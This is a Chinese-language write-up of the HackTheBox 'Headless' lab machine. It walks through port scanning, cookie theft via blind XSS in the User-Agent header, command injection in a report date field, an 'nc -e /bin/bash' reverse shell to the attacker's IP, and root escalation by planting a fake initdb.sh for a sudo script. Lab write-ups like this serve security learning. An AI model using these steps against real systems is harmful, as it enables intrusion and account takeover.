Headless靶机
靶机概述
Headless 是一款简单易难的 Linux 机器,具有python实现的托管网站的服务器。基本思路:
- 通过端口探测到web页面,有一个表单。
- 利用忙注XSS,获得管理员Cookie,进而获得立足点。
- 利用邮件信息进行提权到root权限
Headless靶机地址
1、nmap端口探测
1)测试kali与HTB连通性
a)kali连接网卡
- tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
- link/none
- inet 10.10.14.50/23 scope global tun0
- valid_lft forever preferred_lft forever
- inet6 dead:beef:2::1030/64 scope global
- valid_lft forever preferred_lft forever
- inet6 fe80::5fd0:9e3a:8065:d66a/64 scope link stable-privacy
- valid_lft forever preferred_lft forever
复制代码 与HTB连接的网卡10.10.14.50
b)HTB靶机地址
c) ping 测试
- ping 10.10.11.8
- PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
- 64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=330 ms
- 64 bytes from 10.10.11.8: icmp_seq=2 ttl=63 time=328 ms
复制代码 2) nmap扫描
a) 端口发现
- # 以最低10000速率,以tcp扫面全端口 结果输出到ports文件中
- nmap -sT -p- --min-rate 10000 10.10.11.8 -o ports
- Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-27 22:32 EDT
- Warning: 10.10.11.8 giving up on port because retransmission cap hit (10).
- Nmap scan report for 10.10.11.8
- Host is up (0.33s latency).
- Not shown: 65178 closed tcp ports (conn-refused), 355 filtered tcp ports (no-response)
- PORT STATE SERVICE
- 22/tcp open ssh
- 5000/tcp open upnp
- Nmap done: 1 IP address (1 host up) scanned in 54.36 seconds
复制代码 b) 端口详细信息
- # 以tcp连接,输出详细信息,以默认脚本 扫描22,5000端口,结果输出到details文件中
- nmap -sT -sV -sC -p22,5000 10.10.11.8 -o details
- PORT STATE SERVICE VERSION
- 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
- | ssh-hostkey:
- | 256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
- |_ 256 2eb90824021b609460b384a99e1a60ca (ED25519)
- 5000/tcp open upnp?
- | fingerprint-strings:
- | GetRequest:
- | HTTP/1.1 200 OK
- | Server: Werkzeug/2.2.2 Python/3.11.2
- | Date: Sun, 28 Jul 2024 02:48:15 GMT
- | Content-Type: text/html; charset=utf-8
- | Content-Length: 2799
- | Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
- | Connection: close
复制代码 可以看到5000端口像是一个web服务,22号端口就是常规的ssh服务
2、web渗出
1)访问5000端口
发现有一个For questions的按钮,我们点击进去,看到一个表单,尝试XSS注入
点击提交
上面显示
Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.
你的IP地址已经被标记,你的欣赏器信息的陈诉已经被发送给管理员去调查了。
下边就是陈诉的信息,可以看到有头部的信息,可以尝试头部XSS注入
2)获取管理员cookie
a) 尝试注入点
我们打开burpsuite拦截提交表单的请求
<img alt="image-20240728115348013" > 我们修改UA头信息,进行XSS注入
插入- [/code] [align=center][img]https://img2024.cnblogs.com/blog/2769156/202408/2769156-20240808200508406-748841453.png[/img][/align] [align=center][img]https://img2024.cnblogs.com/blog/2769156/202408/2769156-20240808200508705-655141021.png[/img][/align]成功弹窗
- [size=1]b) 获取管理员cookie[/size]
- [list=1]
- [*]打开本地的服务,捕获http请求
- [/list][code]# python开启http监听5000端口
- python -m http.server 5000
复制代码- GET请求本地的python服务cookie以参数传输base64加密后的字符串
复制代码出现了一点小bug,
ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
From 10.10.14.1 icmp_seq=1 Destination Host Unreachable
From 10.10.14.1 icmp_seq=2 Destination Host Unreachable
From 10.10.14.1 icmp_seq=3 Destination Host Unreachable
换了一个vpn节点 我的主机ip换成了 10.10.14.54
3.发送观察本地的python服务
看到cookie的base64外带出来了
开始base64解码- echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
- # 结果
- is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
复制代码 看着is_admin字段也是base64加密的,解码看看- echo "ImFkbWluIg" | base64 -d
- "admin"base64: 无效的输入
- # 这里无效输入,是base编码字符的长度必须是4的倍数,否则用‘=’补齐
- echo "ImFkbWluIg==" | base64 -d
- "admin"
复制代码 可以看到就是admin,我们有了admin的cookie,看看有没有什么其他可以访问的网站
3)管理界面路径寻找
a) 路径爆破
- gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.8:5000
- #出来的路径
- /support (Status: 200) [Size: 2363]
- /dashboard (Status: 500) [Size: 265]
复制代码 b) 访问dashboard
unauthorized我们可以更换我们欣赏器的cookie值,达到访问的目的
刷新可以看到
看它是Select Date框里是日期,会不会是date命令天生的呢。点击 Generate Report看看会发生什么
下面说Systems are up and running!
用burp抓包分析一下
c) 尝试命令注入
传了一个date参数,我们尝试命令注入 ;id看可不可以
看到输出了id的命令值
3、反弹shell,获得立足点
1)本地监听
2) 命令注入
反弹shell- nc -e /bin/bash 10.10.14.54 4444
复制代码
成功反弹shell,获得立足点- # 获得一个更美观的shell,并让日志不记录我们的操做
- script /dev/null -c /bin/bash
复制代码
3) 获得user flag
在本用户的家目次,找到flag- dvir@headless:~$ cd /home/dvir
- cd /home/dvir
- dvir@headless:~$ cat user.txt
- cat user.txt
- c62add3a4cecb6ace7242e40305e9ed2
复制代码 4、提权到root
1)发现邮件体系
通过枚举目标体系,发现目标有邮件- cd /var/mail
- cat dvir
- Subject: Important Update: New System Check Script
- Hello!
- We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.
- What's special for you?
- - You've been granted special privileges to use this script.
- - It will help identify and resolve system issues more efficiently.
- - It ensures that necessary updates are applied when needed.
- Rest assured, this script is at your disposal and won't affect your regular use of the system.
- If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
- By the way, we're still waiting on you to create the database initialization script!
- Best regards,
- Headless
复制代码意思就是说:为了应对最近的兼容性和崩溃问题,我们引入了一个新的体系查抄脚本。
这个脚本应该就是我们提权的关键
- # 运行 sudo -l 可以看到检查文件的路径
- sudo -l
- Matching Defaults entries for dvir on headless:
- env_reset, mail_badpass,
- secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
- use_pty
- User dvir may run the following commands on headless:
- (ALL) NOPASSWD: /usr/bin/syscheck
复制代码- #查看一下脚本
- cat /sur/bin/syscheck
- #!/bin/bash
- if [ "$EUID" -ne 0 ]; then
- exit 1
- fi
- last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
- formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
- /usr/bin/echo "Last Kernel Modification Time: $formatted_time"
- disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
- /usr/bin/echo "Available disk space: $disk_space"
- load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
- /usr/bin/echo "System load average: $load_average"
- if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
- /usr/bin/echo "Database service is not running. Starting it..."
- ./initdb.sh 2>/dev/null
- else
- /usr/bin/echo "Database service is running."
- fi
- exit 0
复制代码 2)分析脚本文件
我们可以看到以上脚本,执行了多项体系的查抄与维护任务。
首先,它验证是否以特权运行,如果没有则退出。
- if [ "$EUID" -ne 0 ]; then
- exit 1
- fi
复制代码然后,辨认并格式化显示内核vmlinuz*的末了修改时间。
- last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
- formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
- /usr/bin/echo "Last Kernel Modification Time: $formatted_time"
复制代码之后,它检索并显示根文件体系上的可用磁盘空间。
- disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
- /usr/bin/echo "Available disk space: $disk_space"
复制代码该脚本还陈诉体系的平均负载。此外,它还会查抄名为 initdb.sh 的数据库服务是否正在运行;如果没有,它会岑寂地启动它
- load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
- /usr/bin/echo "System load average: $load_average"
- if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
- /usr/bin/echo "Database service is not running. Starting it..."
- ./initdb.sh 2>/dev/null
- else
- /usr/bin/echo "Database service is running."
- fi
复制代码 基于initdb.sh没有运行会被这个查抄体系的脚本syscheck岑寂以特权执行
我们是不是可以像dll劫持、环境变量劫持那样,让他去加载我们自己写的initdb.sh呢
3)initdb.sh劫持提权
- # 由于我们在tmp目录下具有写权限,先在tmp目录下创建initdb.sh
- echo "/bin/bash" > /tmp/initdb.sh
- # 赋予执行权限
- chmod +x /tmp/initdb.sh
复制代码 执行sudo syscheck- dvir@headless:/tmp$ sudo syscheck
- sudo syscheck
- Last Kernel Modification Time: 01/02/2024 10:05
- Available disk space: 2.0G
- System load average: 0.00, 0.00, 0.00
- Database service is not running. Starting it...
- id
- id
- uid=0(root) gid=0(root) groups=0(root)
复制代码 拿到root flag- cat /root/root.txt
- 1d3462b03683fc35bcd908637e7dc4a7
复制代码 总结
- 先用nmap扫描,发现目标机器开放了22,5000端口。
- 访问5000端口,发现是一个web服务,并且有一个表单,尝试存储型XSS攻击,获得管理员cookie信息
- 利用管理员cookie信息,结合目次爆破出来的/bashboard路径,发现了一处命令注入的RCE漏洞,成功获得立足点
- 通过枚举得到此用户有mail邮件,打开邮件说有一个体系查抄脚本syscheck,通过分析脚本知道脚本会去以root权限运行initdb.sh服务
- 通过劫持initdb.sh成功获得root权限
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |